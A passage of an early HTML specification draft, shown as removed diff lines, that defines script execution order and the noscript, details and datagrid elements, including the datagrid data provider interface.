-     http://www.websiteoptimization.com/speed/tweak/defer/test/
-     internal deferred scripts execute before any external scripts execute, or before the LOAD if there are none
-     external deferred scripts execute before the LOAD
-     -->
-      
-
-     <dt>If the element has an <code title=attr-script-async>async</code>
-      attribute and a <code title=attr-script-src><a
-      href="#src5">src</a></code> attribute
-
-     <dd>The element must be added to the end of the <a href="#list-of0">list
-      of scripts that will execute asynchronously</a>. The user agent must
-      jump to <a href="#when-a0" title="when a script completes loading">the
-      next set of steps</a> once the script is ready.
-
-     <dt>If the element has an <code title=attr-script-async>async</code>
-      attribute but no <code title=attr-script-src><a
-      href="#src5">src</a></code> attribute, and the <a href="#list-of0">list
-      of scripts that will execute asynchronously</a> is not empty
-
-     <dd>The element must be added to the end of the <a href="#list-of0">list
-      of scripts that will execute asynchronously</a>.
-
-     <dt>If the element has a <code title=attr-script-src><a
-      href="#src5">src</a></code> attribute and has been flagged as <a
-      href="#parser-inserted">"parser-inserted"</a>
-
-     <dd>The element is <a href="#the-script">the script that will execute as
-      soon as the parser resumes</a>. (There can only be one such script at a
-      time.)
-
-     <dt>If the element has a <code title=attr-script-src><a
-      href="#src5">src</a></code> attribute
-
-     <dd>The element must be added to the end of the <a href="#list-of1">list
-      of scripts that will execute as soon as possible</a>. The user agent
-      must jump to <a href="#when-a0" title="when a script completes
-      loading">the next set of steps</a> when the script is ready.
-
-     <dt>Otherwise
-
-     <dd>The user agent must immediately <a href="#executing"
-      title="executing a script block">execute the script</a>, even if other
-      scripts are already executing.
-    </dl>
-  </ol>
-
-  <p><dfn id=when-a0 title="when a script completes loading">When a script
-   completes loading</dfn>: If a script whose element was added to one of the
-   lists mentioned above completes loading while the document is still being
-   parsed, then the parser handles it. Otherwise, when a script completes
-   loading, the UA must follow the following steps as soon as as any other
-   scripts that may be executing have finished executing:
-
-  <dl class=switch>
-   <dt>If the script's element was added to the <dfn id=list-of>list of
-    scripts that will execute when the document has finished parsing</dfn>:
-
-   <dd>
-    <ol>
-     <li>
-      <p>If the script's element is not the first element in the list, then
-       do nothing yet. Stop going through these steps.</p>
-
-     <li>
-      <p>Otherwise, <a href="#executing" title="executing a script
-       block">execute the script</a> (that is, the script associated with the
-       first element in the list).</p>
-
-     <li>
-      <p>Remove the script's element from the list (i.e. shift out the first
-       entry in the list).</p>
-
-     <li>
-      <p>If there are any more entries in the list, and if the script
-       associated with the element that is now the first in the list is
-       already loaded, then jump back to step two to execute it.</p>
-    </ol>
-
-   <dt>If the script's element was added to the <dfn id=list-of0>list of
-    scripts that will execute asynchronously</dfn>:
-
-   <dd>
-    <ol>
-     <li>
-      <p>If the script is not the first element in the list, then do nothing
-       yet. Stop going through these steps.</p>
-
-     <li>
-      <p><a href="#executing" title="executing a script block">Execute the
-       script</a> (the script associated with the first element in the list).</p>
-
-     <li>
-      <p>Remove the script's element from the list (i.e. shift out the first
-       entry in the list).</p>
-
-     <li>
-      <p>If there are any more scripts in the list, and the element now at
-       the head of the list had no <code title=attr-script-src><a
-       href="#src5">src</a></code> attribute when it was added to the list,
-       or had one, but its associated script has finished loading, then jump
-       back to step two to execute the script associated with this element.</p>
-    </ol>
-
-   <dt>If the script's element was added to the <dfn id=list-of1>list of
-    scripts that will execute as soon as possible</dfn>:
-
-   <dd>
-    <ol>
-     <li>
-      <p><a href="#executing" title="executing a script block">Execute the
-       script</a>.</p>
-
-     <li>
-      <p>Remove the script's element from the list.</p>
-    </ol>
-
-   <dt>If the script is <dfn id=the-script>the script that will execute as
-    soon as the parser resumes</dfn>:
-
-   <dd>
-    <p>The script will be handled <a href="#scriptTagParserResumes">when the
-     parser resumes</a> (amazingly enough).</p>
-  </dl>
-
-  <p class=big-issue><!-- XXX --> need to say, in the part of the spec that
-   fires the onload event, that the list above is triggered.
-
-  <p><dfn id=executing title="executing a script block">Executing a script
-   block</dfn>: If the load resulted in an error (for example a DNS error, or
-   an HTTP 404 error), then executing the script consists of doing nothing.
-   If the load was successful, then the behaviour depends on the scripting
-   language.
-
-  <p>If the script is from an external file, then that file must be used as
-   the file to execute.
-
-  <p>If the script is inline, then, for scripting languages that consist of
-   pure text, user agents must use the value of the DOM <code
-   title=dom-script-text><a href="#text0">text</a></code> attribute (defined
-   below) as the script to execute, and for XML-based scripting languages,
-   user agents must use all the child nodes of the <code><a
-   href="#script2">script</a></code> element as the script to execute.
-
-  <p>In any case, the user agent must execute the script according to the
-   semantics of the relevant language specification, as determined by the
-   <code title=attr-script-type><a href="#type9">type</a></code> and <code
-   title=attr-script-language>language</code> attributes on the <code><a
-   href="#script2">script</a></code> element when the element was inserted
-   into the document, as described above.
-
-  <p class=big-issue> Have to define that the script executes in context of
-   global scope, scripting context, browsing context, etc.
-
-  <p class=note>The element's attributes' values might have changed between
-   when the element was inserted into the document and when the script has
-   finished loading, as may its other attributes; similarly, the element
-   itself might have been taken back out of the DOM, or had other changes
-   made. These changes do not in any way affect the above steps; only the
-   values of the attributes at the time the <code><a
-   href="#script2">script</a></code> element is first inserted into the
-   document matter.
-
-  <p>The DOM attributes <dfn id=src6
-   title=dom-script-src><code>src</code></dfn>, <dfn id=type10
-   title=dom-script-type><code>type</code></dfn>, <dfn id=defer
-   title=dom-script-defer><code>defer</code></dfn>, <dfn id=async
-   title=dom-script-async><code>async</code></dfn>, each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <p>The DOM attribute <dfn id=text0
-   title=dom-script-text><code>text</code></dfn> must return a concatenation
-   of the contents of all the <a href="#text-node" title="text node">text
-   nodes</a> that are direct children of the <code><a
-   href="#script2">script</a></code> element (ignoring any other nodes such
-   as comments or elements), in tree order. On setting, it must act the same
-   way as the <code><a href="#textcontent">textContent</a></code> DOM
-   attribute.
-
-  <h5 id=script0><span class=secno>3.17.1.1. </span>Script languages</h5>
-
-  <p>The following lists some MIME types and the languages to which they
-   refer:
-
-  <dl>
-   <dt><code>text/javascript</code>
-
-   <dd>ECMAScript. <a href="#refsECMA262">[ECMA262]</a>
-
-   <dt><code>text/javascript;e4x=1</code>
-
-   <dd>ECMAScript with ECMAScript for XML. <a
-    href="#refsECMA357">[ECMA357]</a>
-  </dl>
-
-  <p>User agents may support other MIME types and other languages.
-
-  <p>When examining types to determine if they support the language, user
-   agents must not ignore unknown MIME parameters AMPERSANDmdash; types with unknown
-   parameters must be assumed to be unsupported.
-
-  <h4 id=the-noscript><span class=secno>3.17.2. </span>The <dfn
-   id=noscript0><code>noscript</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#strictly">strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element of an <a
-    href="#html-" title=">HTML documents">HTML document</a>, if there are no
-    ancestor <code><a href="#noscript0">noscript</a></code> elements.
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected in
-    <a href="#html-">HTML documents</a>, if there are no ancestor <code><a
-    href="#noscript0">noscript</a></code> elements.
-
-   <dd>Where <a href="#inline-level1">inline-level content</a> is expected in
-    <a href="#html-">HTML documents</a>, if there are no ancestor <code><a
-    href="#noscript0">noscript</a></code> elements.
-
-   <dt>Content model:
-
-   <dd>See prose.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#noscript0">noscript</a></code> element does not
-   represent anything. It is used to present different markup to user agents
-   that support scripting and those that don't support scripting, by
-   affecting how the document is parsed.
-
-  <p>The <code><a href="#noscript0">noscript</a></code> element must not be
-   used in <a href="#xml-documents">XML documents</a>.
-
-  <p>When used in <a href="#html-">HTML documents</a>, the allowed content
-   model depends on whether scripting is enabled or not. If <a
-   href="#scripting1">scripting is disabled</a>, then the content model of a
-   <code><a href="#noscript0">noscript</a></code> element is the same as that
-   of its parent element, with the following additional restrictions:
-
-  <ul>
-   <li>Moving all the children of all the <code><a
-    href="#noscript0">noscript</a></code> elements in the document so that
-    they replaced their <code><a href="#noscript0">noscript</a></code>
-    element parents, must not cause the document to become non-conforming.
-
-   <li>A <code><a href="#noscript0">noscript</a></code> element must not have
-    a <code><a href="#noscript0">noscript</a></code> element as an ancestor
-    (that is, <code><a href="#noscript0">noscript</a></code> can't be
-    nested).
-  </ul>
-
-  <p>If <a href="#scripting2">scripting is enabled</a>, then the content
-   model of a <code><a href="#noscript0">noscript</a></code> element is text,
-   except that the text must be such that running the following algorithm
-   results in a conforming document with no <code><a
-   href="#noscript0">noscript</a></code> elements and no <code><a
-   href="#script2">script</a></code> elements, and such that no step in the
-   algorithm causes an <a href="#html-0">HTML parser</a> to flag a <a
-   href="#parse">parse error</a>:
-
-  <ol>
-   <li>Remove every <code><a href="#script2">script</a></code> element from
-    the document.
-
-   <li>Make a list of every <code><a href="#noscript0">noscript</a></code>
-    element in the document. For every <code><a
-    href="#noscript0">noscript</a></code> element in that list, perform the
-    following steps:
-    <ol>
-     <li>Let the <var title="">parent element</var> be the parent element of
-      the <code><a href="#noscript0">noscript</a></code> element.
-
-     <li>Take all the children of the <var title="">parent element</var> that
-      come before the <code><a href="#noscript0">noscript</a></code> element,
-      and call these elements <var title="">the before children</var>.
-
-     <li>Take all the children of the <var title="">parent element</var> that
-      come <em>after</em> the <code><a href="#noscript0">noscript</a></code>
-      element, and call these elements <var title="">the after
-      children</var>.
-
-     <li>Let <var title="">s</var> be the concatenation of all the <a
-      href="#text-node">text node</a> children of the <code><a
-      href="#noscript0">noscript</a></code> element.
-
-     <li>Set the <code title=dom-innerHTML-HTML><a
-      href="#innerhtml0">innerHTML</a></code> attribute of the <var
-      title="">parent element</var> to the value of <var title="">s</var>.
-      (This, as a side-effect, causes the <code><a
-      href="#noscript0">noscript</a></code> element to be removed from the
-      document.)
-
-     <li>Insert <var title="">the before children</var> at the start of the
-      <var title="">parent element</var>, preserving their original relative
-      order.
-
-     <li>Insert <var title="">the after children</var> at the end of the <var
-      title="">parent element</var>, preserving their original relative
-      order.
-    </ol>
-  </ol>
-
-  <p>The <code><a href="#noscript0">noscript</a></code> element has no other
-   requirements. In particular, children of the <code><a
-   href="#noscript0">noscript</a></code> element are not exempt from form
-   submission, scripting, and so forth, even when scripting is enabled.
-
-  <p class=note>All these contortions are required because, for historical
-   reasons, the <code><a href="#noscript0">noscript</a></code> element causes
-   the <a href="#html-0">HTML parser</a> to act differently based on whether
-   scripting is enabled or not. The element is not allowed in XML, because in
-   XML the parser is not affected by such state, and thus the element would
-   not have the desired effect.
-
-  <h3 id=interactive1><span class=secno>3.18. </span>Interactive elements</h3>
-
-  <h4 id=the-details><span class=secno>3.18.1. </span>The <dfn
-   id=details0><code>details</code></dfn> element</h4>
-
-  <p><a href="#interactive3" title="interactive elements">Interactive</a>, <a
-   href="#block-level1" title="block-level elements">block-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>One <code><a href="#legend0">legend</a></code> element followed by
-    either one or more <a href="#block-level1">block-level elements</a> or <a
-    href="#inline-level1">inline-level content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-details-open><a href="#open0">open</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmldetailselement>HTMLDetailsElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-  attribute boolean <a href="#open1" title=dom-details-open>open</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#details0">details</a></code> element represents
-   additional information or controls which the user can obtain on demand.
-
-  <p>The first element child of a <code><a
-   href="#details0">details</a></code> element, if it is a <code><a
-   href="#legend0">legend</a></code> element, represents the summary of the
-   details.
-
-  <p>If the first element is not a <code><a href="#legend0">legend</a></code>
-   element, the UA should provide its own legend (e.g. "Details").
-
-  <p>The <dfn id=open0 title=attr-details-open><code>open</code></dfn>
-   content attribute, if present, indicates that the details should be shown
-   to the user. The default, which applies if the attribute is absent, is
-   that the details not be shown. If the attribute is present, its value must
-   be the literal value <code title="">open</code>.
-
-  <p>If the attribute is removed, then the details should be hidden. If the
-   attribute is added, the details should be shown.
-
-  <p>The user should be able to request that the details be shown or hidden.
-
-  <p>The <dfn id=open1 title=dom-details-open><code>open</code></dfn>
-   attribute must <a href="#reflect">reflect</a> the <code
-   title=attr-details-open><a href="#open0">open</a></code> content
-   attribute.</p>
-  <!--
-http://mail.gnome.org/archives/usability/2006-June/msg00015.html
-http://developer.apple.com/documentation/UserExperience/Conceptual/OSXHIGuidelines/XHIGControls/chapter_18_section_7.html
-https://www.google.com/base/settings
--->
-
-  <p class=big-issue>Rendering will be described in the Rendering section in
-   due course. Basically CSS :open and :closed match the element, it's a
-   block-level element by default, and when it matches :closed it renders as
-   if it had an XBL binding attached to it whose template was just
-   <code>AMPERSANDlt;template>AMPERSAND#x25B6;AMPERSANDlt;content
-   includes="legend:first-child"AMPERSANDgt;DetailsAMPERSANDlt;/content>AMPERSANDlt;/template></code>,
-   and when it's :open it acts as if it had an XBL binding attached to it
-   whose template was just <code>AMPERSANDlt;template>AMPERSAND#x25BC;AMPERSANDlt;content
-   includes="legend:first-child"AMPERSANDgt;DetailsAMPERSANDlt;/content>AMPERSANDlt;content/>AMPERSANDlt;/template></code>
-   or some such.
-
-  <p class=big-issue>Clicking the legend would make it open/close (and would
-   change the content attribute). Question: Do we want the content attribute
-   to reflect the actual state like this? I think we do, the DOM not
-   reflecting state has been a pain in the neck before. But is it
-   semantically ok?
-
-  <h4 id=datagrid><span class=secno>3.18.2. </span>The <dfn
-   id=datagrid1><code>datagrid</code></dfn> element</h4>
-
-  <p><a href="#interactive3" title="interactive elements">Interactive</a>, <a
-   href="#block-level1" title="block-level elements">block-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected,
-    if there are no ancestor <a href="#interactive3">interactive
-    elements</a>.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-datagrid-multiple><a
-    href="#multiple0">multiple</a></code>
-
-   <dd><code title=attr-datagrid-disabled><a
-    href="#disabled2">disabled</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmldatagridelement>HTMLDataGridElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute <a href="#datagriddataprovider">DataGridDataProvider</a> <a href="#data2" title=dom-datagrid-data>data</a>;
-  readonly attribute <a href="#datagridselection">DataGridSelection</a> <a href="#selection0" title=dom-datagrid-selection>selection</a>;
-           attribute boolean <a href="#multiple" title=dom-datagrid-multiple>multiple</a>;
-           attribute boolean <a href="#disabled1" title=dom-datagrid-disabled>disabled</a>;
-  void <a href="#updateeverything" title=dom-datagrid-updateEverything>updateEverything</a>();
-  void <a href="#updaterowschanged" title=dom-datagrid-updateRowsChanged>updateRowsChanged</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long count);
-  void <a href="#updaterowsinserted" title=dom-datagrid-updateRowsInserted>updateRowsInserted</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long count);
-  void <a href="#updaterowsremoved" title=dom-datagrid-updateRowsRemoved>updateRowsRemoved</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long count);
-  void <a href="#updaterowchanged" title=dom-datagrid-updateRowChanged>updateRowChanged</a>(in <a href="#rowspecification">RowSpecification</a> row);
-  void <a href="#updatecolumnchanged" title=dom-datagrid-updateColumnChanged>updateColumnChanged</a>(in unsigned long column);
-  void <a href="#updatecellchanged" title=dom-datagrid-updateCellChanged>updateCellChanged</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column);
-};</pre>
-  </dl>
-
-  <p class=big-issue>One possible thing to be added is a way to detect when a
-   row/selection has been deleted, activated, etc, by the user (delete key,
-   enter key, etc).</p>
-  <!-- XXXPA -->
-
-  <p class=big-issue>This element is defined as interactive, which means it
-   can't contain other interactive elements, despite the fact that we expect
-   it to work with other interactive elements e.g. checkboxes and input
-   fields. It should be called something like a Leaf Interactive Element or
-   something, which counts for ancestors looking in and not descendants
-   looking out.
-
-  <p>The <code><a href="#datagrid1">datagrid</a></code> element represents an
-   interactive representation of tree, list, or tabular data.
-
-  <p>The data being presented can come either from the content, as elements
-   given as children of the <code><a href="#datagrid1">datagrid</a></code>
-   element, or from a scripted data provider given by the <code
-   title=dom-datagrid-data><a href="#data2">data</a></code> DOM attribute.
-
-  <p>The <code title=attr-datagrid-multiple><a
-   href="#multiple0">multiple</a></code> attribute, if present, must be
-   either empty or have the literal value <code title="">multiple</code>.
-   Similarly, the <code title=attr-datagrid-disabled><a
-   href="#disabled2">disabled</a></code> attribute, if present, must be
-   either empty or have the literal value <code title="">disabled</code>.
-   (The actual values do not have any effect on how these attributes are
-   processed, only the presence or absence of the attributes is important.)
-
-  <p>The <dfn id=multiple
-   title=dom-datagrid-multiple><code>multiple</code></dfn> and <dfn
-   id=disabled1 title=dom-datagrid-disabled><code>disabled</code></dfn> DOM
-   attributes must <a href="#reflect">reflect</a> the <code
-   title=attr-datagrid-multiple><a href="#multiple0">multiple</a></code> and
-   <code title=attr-datagrid-disabled><a
-   href="#disabled2">disabled</a></code> content attributes respectively.
-
-  <h5 id=the-datagrid><span class=secno>3.18.2.1. </span>The <code><a
-   href="#datagrid1">datagrid</a></code> data model</h5>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>In the <code><a href="#datagrid1">datagrid</a></code> data model, data
-   is structured as a set of rows representing a tree, each row being split
-   into a number of columns. The columns are always present in the data
-   model, although individual columns may be hidden in the presentation.
-
-  <p>Each row can have child rows. Child rows may be hidden or shown, by
-   closing or opening (respectively) the parent row.
-
-  <p>Rows are referred to by the path along the tree that one would take to
-   reach the row, using zero-based indices. Thus, the first row of a list is
-   row "0", the second row is row "1"; the first child row of the first row
-   is row "0,0", the second child row of the first row is row "0,1"; the
-   fourth child of the seventh child of the third child of the tenth row is
-   "9,2,6,3", etc.
-
-  <p>The columns can have captions. Those captions are not considered a row
-   in their own right, they are obtained separately.
-
-  <p>Selection of data in a <code><a href="#datagrid1">datagrid</a></code>
-   operates at the row level. If the <code title=attr-datagrid-multiple><a
-   href="#multiple0">multiple</a></code> attribute is present, multiple rows
-   can be selected at once, otherwise the user can only select one row at a
-   time.
-
-  <p>The <code><a href="#datagrid1">datagrid</a></code> element can be
-   disabled entirely by setting the <code title=attr-datagrid-disabled><a
-   href="#disabled2">disabled</a></code> attribute.</p>
-  <!--XXXDND
-  <p class="big-issue">selection draggable [normative definitions are
-  in the interactive part below]</p>
--->
-
-  <p>Columns, rows, and cells can each have specific flags, known as classes,
-   applied to them by the data provider. These classes <a
-   href="#datagridClassSummary">affect the functionality</a> of the <code><a
-   href="#datagrid1">datagrid</a></code> element, and are also <a
-   href="#datagridPseudos">passed to the style system</a>. They are similar
-   in concept to the <code title=attr-class><a
-   href="#class6">class</a></code> attribute, except that they are not
-   specified on elements but are given by scripted data providers.</p>
-  <!-- XXX check xrefs -->
-
-  <h5 id=how-rows><span class=secno>3.18.2.2. </span>How rows are identified</h5>
-
-  <p>The chains of numbers that give a row's path, or identifier, are
-   represented by objects that implement the <a
-   href="#rowspecification">RowSpecification</a> interface.
-
-  <pre class=idl>interface <dfn id=rowspecification>RowSpecification</dfn> {
-  // binding-specific interface
-};</pre>
-
-  <p>In ECMAScript, two classes of objects are said to implement this
-   interface: Numbers representing non-negative integers, and homogeneous
-   arrays of Numbers representing non-negative integers. Thus,
-   <code>[1,0,9]</code> is a <a
-   href="#rowspecification">RowSpecification</a>, as is <code>1</code> on its
-   own. However, <code>[1,0.2,9]</code> is not a <a
-   href="#rowspecification">RowSpecification</a> object, since its second
-   value is not an integer.
-
-  <p>User agents must always represent <a
-   href="#rowspecification">RowSpecification</a>s in ECMAScript by using
-   arrays, even if the path only has one number.
-
-  <p>The root of the tree is represented by the empty path; in ECMAScript,
-   this is the empty array (<code>[]</code>). Only the <code
-   title=dom-provider-getRowCount><a
-   href="#getrowcount">getRowCount()</a></code> and <code
-   title=dom-provider-getChildAtPosition><a
-   href="#getchildatposition">GetChildAtPosition()</a></code> methods ever
-   get called with the empty path.
-
-  <h5 id=the-data><span class=secno>3.18.2.3. </span>The data provider
-   interface</h5>
-
-  <p><em>The conformance criteria in this section apply to any implementation
-   of the <code><a
-   href="#datagriddataprovider">DataGridDataProvider</a></code>, including
-   (and most commonly) the content author's implementation(s).</em>
-
-  <pre class=idl>// To be implemented by Web authors as a JS object
-interface <dfn id=datagriddataprovider>DataGridDataProvider</dfn> {
-  void <a href="#initialize" title=dom-provider-initialize>initialize</a>(in HTMLDataGridElement datagrid);
-  unsigned long <a href="#getrowcount" title=dom-provider-getRowCount>getRowCount</a>(in <a href="#rowspecification">RowSpecification</a> row);
-  unsigned long <a href="#getchildatposition" title=dom-provider-getChildAtPosition>getChildAtPosition</a>(in <a href="#rowspecification">RowSpecification</a> parentRow, in unsigned long position);
-  unsigned long <a href="#getcolumncount" title=dom-provider-getColumnCount>getColumnCount</a>();
-  DOMString <a href="#getcaptiontext" title=dom-provider-getCaptionText>getCaptionText</a>(in unsigned long column);
-  void <a href="#getcaptionclasses" title=dom-provider-getCaptionClasses>getCaptionClasses</a>(in unsigned long column, in DOMTokenString classes);
-  DOMString <a href="#getrowimage" title=dom-provider-getRowImage>getRowImage</a>(in <a href="#rowspecification">RowSpecification</a> row);
-  <span>HTMLMenuElement</span> <a href="#getrowmenu" title=dom-provider-getRowMenu>getRowMenu</a>(in <a href="#rowspecification">RowSpecification</a> row);
-  void <a href="#getrowclasses" title=dom-provider-getRowClasses>getRowClasses</a>(in <a href="#rowspecification">RowSpecification</a> row, in DOMTokenString classes);
-  DOMString <a href="#getcelldata" title=dom-provider-getCellData>getCellData</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column);
-  void <a href="#getcellclasses" title=dom-provider-getCellClasses>getCellClasses</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column, in DOMTokenString classes);
-<!--XXXDND
-  boolean <span title="dom-provider-canDrop">canDrop</span>(in <span>RowSpecification</span> row, in <span>RowSpecification</span> position, data);
-  boolean <span title="dom-provider-dropped">dropped</span>(in <span>RowSpecification</span> row, in <span>RowSpecification</span> position, data);
--->  void <a href="#togglecolumnsortstate" title=dom-provider-toggleColumnSortState>toggleColumnSortState</a>(in unsigned long column);
-  void <a href="#setcellcheckedstate" title=dom-provider-setCellCheckedState>setCellCheckedState</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column, in long state);
-  void <a href="#cyclecell" title=dom-provider-cycleCell>cycleCell</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column);
-  void <a href="#editcell" title=dom-provider-editCell>editCell</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column, in DOMString data);
-<!--XXXPA
-  void <span title="dom-provider-performAction">performAction</span>(in DOMString action); // required if .performAction() is ever invoked on the datagrid
-  void <span title="dom-provider-performActionOnRow">performActionOnRow</span>(in <span>RowSpecification</span> row, in DOMString action); // required if getRowClasses ever includes 'deletable' or if <span title="dom-provider-.performActionOnRow">.performActionOnRow</span>() is ever invoked on the datagrid
-  void <span title="dom-provider-performActionOnCell">performActionOnCell</span>(in <span>RowSpecification</span> row, in unsigned long column, in DOMString action); // required if .performActionOnCell() is ever invoked on the datagrid
--->};</pre>
-  <!-- based on http://lxr.mozilla.org/seamonkey/source/layout/xul/base/src/tree/public/nsITreeView.idl -->
-
-  <p>The <code><a
-   href="#datagriddataprovider">DataGridDataProvider</a></code> interface
-   represents the interface that objects must implement to be used as custom
-   data views for <code><a href="#datagrid1">datagrid</a></code> elements.
-
-  <p>Not all the methods are required. The minimum number of methods that
-   must be implemented in a useful view is two: the <code
-   title=dom-provider-getRowCount><a
-   href="#getrowcount">getRowCount()</a></code> and <code
-   title=dom-provider-getCellData><a
-   href="#getcelldata">getCellData()</a></code> methods.
-
-  <p>Once the object is written, it must be hooked up to the <code><a
-   href="#datagrid1">datagrid</a></code> using the <dfn id=data2
-   title=dom-datagrid-data><code>data</code></dfn> DOM attribute.
-
-  <p>The following methods may be usefully implemented:
-
-  <dl>
-   <dt><dfn id=initialize title=dom-provider-initialize><code>initialize(<var
-    title="">datagrid</var>)</code></dfn>
-
-   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> element
-    (the one given by the <var title="">datagrid</var> argument) after it has
-    first populated itself. This would typically be used to set the initial
-    selection of the <code><a href="#datagrid1">datagrid</a></code> element
-    when it is first loaded. The data provider could also use this method
-    call to register a <code title=event-select><a
-    href="#select">select</a></code> event handler on the <code><a
-    href="#datagrid1">datagrid</a></code> in order to monitor selection
-    changes.
-
-   <dt><dfn id=getrowcount
-    title=dom-provider-getRowCount><code>getRowCount(<var
-    title="">row</var>)</code></dfn>
-
-   <dd>Must return the number of rows that are children of the specified <var
-    title="">row</var>, including rows that are off-screen. If <var
-    title="">row</var> is empty, then the number of rows at the top level
-    must be returned. If the value that this method would return for a given
-    <var title="">row</var> changes, the relevant update methods on the
-    <code><a href="#datagrid1">datagrid</a></code> must be called first.
-    Otherwise, this method must always return the same number. For a list (as
-    opposed to a tree), this method must return 0 whenever it is called with
-    a <var title="">row</var> identifier that is not empty.
-
-   <dt><dfn id=getchildatposition
-    title=dom-provider-getChildAtPosition><code>getChildAtPosition(<var
-    title="">parentRow</var>, <var title="">position</var>)</code></dfn>
-
-   <dd>Must return the index of the row that is a child of <var
-    title="">parentRow</var> and that is to be positioned as the <var
-    title="">position</var>th row under <var title="">parentRow</var> when
-    rendering the children of <var title="">parentRow</var>. If <var
-    title="">parentRow</var> is empty, then <var title="">position</var>
-    refers to the <var title="">position</var>th row at the top level of the
-    data grid. May be omitted if the rows are always to be sorted in the
-    natural order. (The natural order is the one where the method always
-    returns <var title="">position</var>.) For a given <var
-    title="">parentRow</var>, this method must never return the same value
-    for different values of <var title="">position</var>. The returned value
-    <var title="">x</var> must be in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-    title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">n</var>, where <var
-    title="">n</var> is the value returned by <code
-    title=dom-provider-getRowCount><a href="#getrowcount">getRowCount(<var
-    title="">parentRow</var>)</a></code>.
-
-   <dt><dfn id=getcolumncount
-    title=dom-provider-getColumnCount><code>getColumnCount()</code></dfn>
-
-   <dd>Must return the number of columns currently in the data model
-    (including columns that might be hidden). May be omitted if there is only
-    one column. If the value that this method would return changes, the
-    <code><a href="#datagrid1">datagrid</a></code>'s <code
-    title=dom-datagrid-updateEverything><a
-    href="#updateeverything">updateEverything()</a></code> method must be
-    called.
-
-   <dt><dfn id=getcaptiontext
-    title=dom-provider-getCaptionText><code>getCaptionText(<var
-    title="">column</var>)</code></dfn>
-
-   <dd>Must return the caption, or label, for column <var
-    title="">column</var>. May be omitted if the columns have no captions. If
-    the value that this method would return changes, the <code><a
-    href="#datagrid1">datagrid</a></code>'s <code
-    title=dom-datagrid-updateColumnChanged><a
-    href="#updatecolumnchanged">updateColumnChanged()</a></code> method must
-    be called with the appropriate column index.
-
-   <dt><dfn id=getcaptionclasses
-    title=dom-provider-getCaptionClasses><code>getCaptionClasses(<var
-    title="">column</var>, <var title="">classes</var>)</code></dfn>
-
-   <dd>Must add the classes that apply to column <var title="">column</var>
-    to the <var title="">classes</var> object. May be omitted if the columns
-    have no special classes. If the classes that this method would add
-    changes, the <code><a href="#datagrid1">datagrid</a></code>'s <code
-    title=dom-datagrid-updateColumnChanged><a
-    href="#updatecolumnchanged">updateColumnChanged()</a></code> method must
-    be called with the appropriate column index. Some classes have <a
-    href="#datagridClassSummary">predefined meanings</a>.
-
-   <dt><dfn id=getrowimage
-    title=dom-provider-getRowImage><code>getRowImage(<var
-    title="">row</var>)</code></dfn>
-
-   <dd>Must return a URI to an image that represents row <var
-    title="">row</var>, or the empty string if there is no applicable image.
-    May be omitted if no rows have associated images. If the value that this
-    method would return changes, the <code><a
-    href="#datagrid1">datagrid</a></code>'s update methods must be called to
-    update the row in question.
-
-   <dt><dfn id=getrowmenu title=dom-provider-getRowMenu><code>getRowMenu(<var
-    title="">row</var>)</code></dfn>
-
-   <dd>Must return an <code>HTMLMenuElement</code> object that is to be used
-    as a context menu for row <var title="">row</var>, or null if there is no
-    particular context menu. May be omitted if none of the rows have a
-    special context menu. As this method is called immediately before showing
-    the menu in question, no precautions need to be taken if the return value
-    of this method changes.
-
-   <dt><dfn id=getrowclasses
-    title=dom-provider-getRowClasses><code>getRowClasses(<var
-    title="">row</var>, <var title="">classes</var>)</code></dfn>
-
-   <dd>Must add the classes that apply to row <var title="">row</var> to the
-    <var title="">classes</var> object. May be omitted if the rows have no
-    special classes. If the classes that this method would add changes, the
-    <code><a href="#datagrid1">datagrid</a></code>'s update methods must be
-    called to update the row in question. Some classes have <a
-    href="#datagridClassSummary">predefined meanings</a>.
-
-   <dt><dfn id=getcelldata
-    title=dom-provider-getCellData><code>getCellData(<var title="">row</var>,
-    <var title="">column</var>)</code></dfn>
-
-   <dd>Must return the value of the cell on row <var title="">row</var> in
-    column <var title="">column</var>. For text cells, this must be the text
-    to show for that cell. For <a href="#progress1"
-    title=datagrid-cell-class-progress>progress bar cells</a>, this must be
